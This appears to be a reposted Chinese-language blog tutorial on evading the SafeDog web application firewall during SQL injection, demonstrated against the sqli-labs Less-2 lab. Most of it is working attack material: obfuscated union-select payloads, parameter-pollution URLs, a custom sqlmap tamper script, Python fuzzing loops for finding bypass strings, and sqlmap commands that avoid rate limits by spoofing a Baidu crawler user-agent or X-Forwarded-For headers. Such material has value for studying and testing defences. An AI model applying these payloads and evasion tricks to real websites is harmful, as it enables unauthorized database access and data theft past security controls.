目錄
- WAF繞過—SQL注入
- 聯合注入繞過
- 引數污染
- sqlmap利用引數污染注入
- 相關引數污染
- fuzz跑引數污染字典
- sqlmap訪問過快被攔截
- 方法一:爬蟲白名單
- 方法二:延時注入
- 方法三:代理池
- 補充問題(自定義sqlmap訪問過快被攔截的引數):
- 深入WAF繞過:
- 方式一:白名單繞過
- 方式二:靜態資源
- 方式三:url白名單
- 方式四:爬蟲白名單
WAF繞過—SQL注入

對資料進行:大小寫、加解密、編碼解碼等操作,使攔截失效
例如,以sqlilabs-less-2為例(假設安全狗已經設定了禁止查詢資料庫):
此時輸入以下陳述句時,注入將會被攔截
id=-1 union select 1,database(),3#
首先我們大致分析一下為什么會被攔截?
安全狗攔截方式里采用了類似于正則運算式的編程,匹配到database()這個資料時,自動過濾,所以我們繞過只需要改變database()就行了:
下列陳述句中混插了“/**/”這樣,安全狗就無法匹配到database了
最基礎的的一個攔截原理:
id=-1 union select 1,database/**/(),3#
攔截2,如果安全狗開啟了攔截SQL聯合注入時
聯合注入繞過

只要使用在url內包含union select 的關鍵欄位,就會被攔截
如果我們把注入按照以下格式寫,就能繞過:
union #a
select 1,2,3# #號表示注釋掉后面的內容
通過轉換工具可知:%23為#號,%0a為換行符,所以,繞過的寫法如下:
http://192.168.56.104/sqlilbas/Less-2/?id=-1%20union%20%23a%0aselect 1,2,3#

引數污染

當用戶通過id=進行傳遞引數時,PHP/Apache服務器默認獲取到的引數為Last,即最后一個值,例如當輸入多個引數時:
http://192.168.56.104/sqlilbas/Less-2/?id=1&id=2
如果采用PHP/Apache,id最終傳遞進去的值為2(忽略掉了id=1)
針對這個特性,只要我們知道了目標網站的服務器,我們再進行引數污染注入:
http://192.168.56.104/sqlilbas/Less-2/?id=1 /**&id=-1%20union%20select%201,2,3%23*/
http://192.168.56.104/sqlilbas/Less-2/?id=1%20/**&id=-1%20union%20select%201,version(),3--+*/
成功繞過:

原理:
因為安全狗能將這里這里的資料全部匹配(安全狗認為/**/中的內容是被注釋的,不執行的),?id=1 /**&id=-1 union select 1,2,3#*/,但PHP/Apache服務器只匹配后面的值(id=-1 union select 1,2,3#*/)
所以真正執行的陳述句是:
select * from users where id=-1 union select 1,2,3#*/
sqlmap利用引數污染注入
我們自定一個sqlmap的temper名叫rdog.py,格式寫法可以參照其他的tmper作模板,下面舉例只寫了兩個payload,可以根據需要自己再多寫幾個

#%23a%0aunion/*!44575select*/1,2,3
payload = payload.replace('union','%23a%0aunion')
payload = payload.replace('select','/*!44575select*/')
payload = payload.replace('%20','%23a%0a')
payload = payload.replace('%20','%23a%0a')
payload = payload.replace(' ','%23a%0a')
payload = payload.replace('database()','database%23a%0a()')
我們這時候就可以拿腳本去跑
其中--tamper為設定某個py腳本,--proxy為設定http代理(方便burpsuite抓包分析,可以不寫),--random-agent為繞過安全狗攔截sqlmap注入工具
python sqlmap.py -u "192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://127.0.0.1:8888 --random-agent
相關引數污染
/*!50001 select * from test */;
這里50001表示假如 資料庫是5.00.01以上版本,該陳述句才會被執行
同時,這里可以和union select繞過配合起來,例如:
union all /*!50001 select * from test */;
(all也是一個干擾,防匹配)
這樣就不是一個完整的union select,所以也有可能繞過安全狗
fuzz跑引數污染字典
import requests
import time
url='http://'
for sqlin in open('unionselect.txt'):
urls=urls+sqlin
result=requests.get(urls).text
if(result.find('safedog')==-1):
print(sqlin)
time.sleep(1)
另一種思路(代碼可能有誤,僅作思路)
import requests
url='http://192.168.56.104/sqlilbas/Less-2/?id=-1'
a={'%23x%0aunion','.0union','%09union','%0aunion','%0bunion','%0cunion','%0dunion','%20union','%a0union'}
b='/*!'
c='select*/'
d='1,2,3'
for i in range(44500,44600):
for aa in a:
urls=url+aa+b+str(i)+c+d
#fp=open('bypasstestsqlin.txt','a+')
#fp.write(urls+'\n')
result=requests.get(urls).text
print(result)
if(result.find('safedog')==-1):
print(urls)
補充:
/*!select * from tables limit 0,1*/;與select * from tables limit 0,1;等價
sqlmap訪問過快被攔截
方法一:爬蟲白名單
首先百度找一個搜索引擎爬蟲http指紋頭
例如百度爬蟲:
Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)
然后修改sqlmap的user-agent:相關教程
這里我們使用自定義user-agent
python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --user-agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.8;baidu Transcoder) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729)" --tables
方法二:延時注入
引數:
–delay
–safe-freq
python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables --delay 1
python sqlmap.py -u "http://192.168.56.104/sqlilbas/Less-2/?id=1" --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables --safe-freq 3
方法三:代理池
…
補充問題(自定義sqlmap訪問過快被攔截的引數):
如果某waf工具檢測的不止是user-agent,還檢測了sqlmap不支持的頭,例如檢測的是Cache-Control部分的內容,該如何解決呢?
1.使用burpsuite的intruder,然后在positions頁面修改成*號,添加一個變數,再到payloads里設定變數的字典,不斷替換(這種辦法需要替換每一個的資料包,相當麻煩,不推薦)

2.可以把post資料放到一個txt里(把需要檢測的值修改好),

再使用:-r引數
python sqlmap.py -r 3.txt --tamper=rdog.py --proxy=http://192.168.56.217:8888 --tables
3.自己寫腳本進行中轉,這篇文章最后有提到如何中轉,相同的,中轉中也可以寫user-agent引數,相關文章:
https://www.cnblogs.com/keta/p/9469417.html
思路:sqlmap注入本地腳本地址——>本地搭建腳本(請求資料包自定義撰寫)——>遠程地址
深入WAF繞過:
方式一:白名單繞過
1.通過IP白名單,偽造資料包中的header頭來bypass waf
x-forwarded-for
x-remote-ip
x-originating-ip
x-remote-addr
x-real-ip
方式二:靜態資源
特定的 資源后綴請求,txt檔案寫進去,常見的靜態檔案(.js.jpg.swf.css等),類似白名單機制,waf為了檢測效率,不去檢測這樣一些靜態檔案后綴的請求
less-2/index.php/x.txt?id=1 and 1=1
less-2/index.php/x.js?id=1 and 1=1
備注:Aspx/php只識別到前面的.aspx/.php后面基本不識別
方式三:url白名單

因為在某些檔案中執行的操作可能會被誤攔截,部分網站可能會添加此類白名單,可以針對這個檔案嘗試進行注入
方式四:爬蟲白名單
如果對網站訪問速度過快,則會被攔截
但是某些網站是采用爬蟲進行運轉的,例如百度,一般來說,各個網站都會把百度的爬蟲放進白名單,
我們則可以使用head后中的User-Agent來偽造Baiduspider(百度爬蟲)

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/355235.html
標籤:其他
